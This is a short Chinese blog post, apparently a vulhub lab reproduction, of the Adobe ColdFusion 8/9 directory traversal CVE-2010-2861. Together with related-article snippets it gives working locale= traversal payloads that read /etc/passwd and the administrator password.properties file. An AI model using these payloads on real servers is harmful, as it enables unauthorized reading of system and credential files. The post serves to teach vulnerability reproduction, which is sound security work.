Adobe ColdFusion 文件读取漏洞（CVE-2010-2861）

最新推荐文章于 2024-08-03 16:14:20 发布
最新推荐文章于 2024-08-03 16:14:20 发布
阅读量276 收藏
点赞数
分类专栏： 学海无涯 文章标签： 服务器 linux 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_38656841/article/details/121745329
版权

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。

Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞，可导致未授权的用户读取服务器任意文件。

产品样子：

漏洞复现

登录界面？后边locale=../../../../../../../../../../etc/passwd%00en即可

读取后台用户密码

locale=../../../../../../../lib/password.properties%00en

 

 

        

 

时光凉春衫薄
关注
专栏目录
【漏洞复现】Adobe ColdFusion 任意文件读取漏洞 CVE-2024-20767
失心少年
04-23 748
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！该平台ColdFusion 2023
Adobe ColdFusion 任意文件读取漏洞复现(CVE-2024-20767)
0xSec
03-31 912
由于 Adobe ColdFusion 的访问控制不当，未经身份认证的远程攻击者可以构造恶意请求读取目标服务器上的任意文件，泄露敏感信息。
vulhub：Adobe ColdFusion文件读取漏洞复现（CVE-2010-2861）
sszsNo1的博客
07-02 300
vulhub：Adobe ColdFusion文件读取漏洞（CVE-2010-2861）如何复现
coldfusion文件读取漏洞（CVE-2010-2861）
1stPeak's Blog
07-28 929
1、直接访问http//your-ip8500/CFIDE/administrator/enter.cfm?/etc/passwd%00en，即可读取文件/etc/passwd。2、读取后台管理员密码http//your-ip8500/CFIDE/administrator/enter.cfm?/lib/password.properties%00en。AdobeColdFusion8、9版本中存在一处目录穿越漏洞，可导致未授权的用户读取服务器任意文件。解密password。...
Adobe ColdFusion反序列化漏洞(cve-2017-3066)
最新发布
山兔的博客
08-03 545
Adobe ColdFusion（直译：冷聚变），是一个动态Web服务器，其CFML（ColdFusion Markup Language）是一种程序设计语言，类似JSP里的JSTL（JSP Standard Tag Lib），从1995年开始开发，其设计思想被一些人认为非常先进，被一些语言所借鉴。Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。
Adobe_ColdFusion文件读取漏洞 CVE-2010-2861 漏洞复现
ADummy的博客
02-22 902
Adobe ColdFusion文件读取漏洞(CVE-2010-2861) by ADummy 0x00利用路线 ​ 第三方UI与目标进行通信—>搭建http服务器—>让目标下载恶意文件—>定时任务执行—>反弹shell 0x01漏洞介绍 ​ AdobeColdFusion是一款高效的网络应用服务器开发环境。AdobeColdFusion9.0.1及之前版本的管理控制台中存在多个目录遍历漏洞。远程攻击者可借助向CFIDE/administrator/中的CFIDE/admin
漏洞分析｜Adobe ColdFusion 序列化漏洞（CVE-2023-29300）
m0_46699477的博客
08-02 1117
通过研究 CVE-2023-29300，我们了解了 Adobe ColdFusion 产品的基本工作原理，其不安全的 WDDX 序列化实现将产生可利用的漏洞。同时，我们详细分析了通过 argumentCollection 参数传入 payload 的完整调用路径，以及为何需要传入看似与利用无关的 method 参数。在此基础上，我们探索了利用的新方向，在这个过程中也踩了不少坑。阅读本篇文章后，大家在复现此漏洞以及在将来需要研究此产品时，就可以少走一些弯路了，后续有机会的话，会进一步分享研究成果。
09 - vulhub - Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)
易编橙 · 终身成长社群，相遇已是上上签！
10-19 3856
Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。
利用Vulnhub复现漏洞 - Adobe ColdFusion 文件读取漏洞（CVE-2010-2861）
JiangBuLiu的博客
06-28 929
Adobe ColdFusion 文件读取漏洞（CVE-2010-2861）Vulnhub官方复现教程漏洞原理复现漏洞启动环境漏洞复现 Vulnhub官方复现教程 https://vulhub.org/#/environments/coldfusion/CVE-2010-2861/ 漏洞原理 Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（Cold...
CVE-2010-2861漏洞复现(ColdFusion未授权漏洞)
G_Fu_Q的博客
04-08 867
漏洞介绍: Adobe ColdFusion（直译：冷聚变），是一个动态Web服务器，其CFML（ColdFusion Markup Language）是一种程序设计语言，类似JSP里的JSTL（JSP Standard Tag Lib），从1995年开始开发，其设计思想被一些人认为非常先进，被一些语言所借鉴。 Coldfusion 最早是由 Allaire 公司开发的一种应用服务器平台，其运行的 CFML（ColdFusion Markup Language）针对Web应用的一种脚本语言。文件以*.c
CVE-2010-2861：Adobe ColdFusion 文件读取漏
Foreverlove112的博客
11-08 331
CVE-2010-2861：Adobe ColdFusion 文件读取漏
Adobe ColdFusion
05-13
Adobe ColdFusion ColdFusion初級教程繁體中文
Adobe ColdFusion 目录遍历漏洞 (CVE-2010-2861)
zzzzz1284的博客
01-04 350
CVE-2010-2861
Adobe ColdFusion 文件读取漏洞（CVE-2010-2861)
shierbai的博客
06-21 259
locale=../../../../../../../../../../etc/passwd%00en`，即可读取文件`/etc/passwd`locale=../../../../../../../lib/password.properties%00en`搭建环境后，访问`http://your-ip:8500/CFIDE/administrator/enter.cfm`，可以看到初始化页面，输入密码`admin`，开始初始化整个环境。
Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析
systemino的博客
08-05 624
漏洞简介 Adobe ColdFusion 是一个商用的快速开发平台。它可以作为一个开发平台使用，也可以提供Flash远程服务或者作为 Adobe Flex应用的后台服务器 。 2019年06月11日，Adobe 发布安全公告，修复了Adobe ColdFusion多个严重漏洞。其中有一个由Moritz Bechler提交的命令注入漏洞(CVE-2019-7839)。 2019年06月26日...
漏洞分析｜Adobe ColdFusion WDDX 序列化漏洞利用
m0_46699477的博客
09-07 407
本文将分享继 CVE-2023-29300 之后的不出网利用方式，提出 C3P0 和 JGroups 两条基于服务错误部署的新利用链。现 Goby 中实现了 C3P0 和 JGroups 利用链的完整利用，完全支持命令执行以及结果回显功能。
Adobe ColdFusion（CVE-2010-2861）文件读取漏洞复现
qq_44504968的博客
09-23 1389
Adobe ColdFusion文件读取漏洞（CVE-2010-2861）漏洞原理实验环境漏洞环境漏洞复现 漏洞原理 Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。 由于AJP协议设计存在缺陷导致内部相关的属性可控，攻击者可以构造属性值，使未授权的用户读取服务器任意文件获得敏感信息，甚至可以进行远程代码执行漏洞的利用。 Adobe ColdFusion 8、9版本中
CVE-2021-26885利用poc
07-18
这个漏洞可能是由于Adobe ColdFusion组件的一个缺陷导致的，ColdFusion是一种服务器端脚本语言环境。POC，即Proof of Concept（验证漏洞存在的演示程序），是一个小型的示例代码，用于展示如何利用这个漏洞。 POC...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

时光凉春衫薄

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值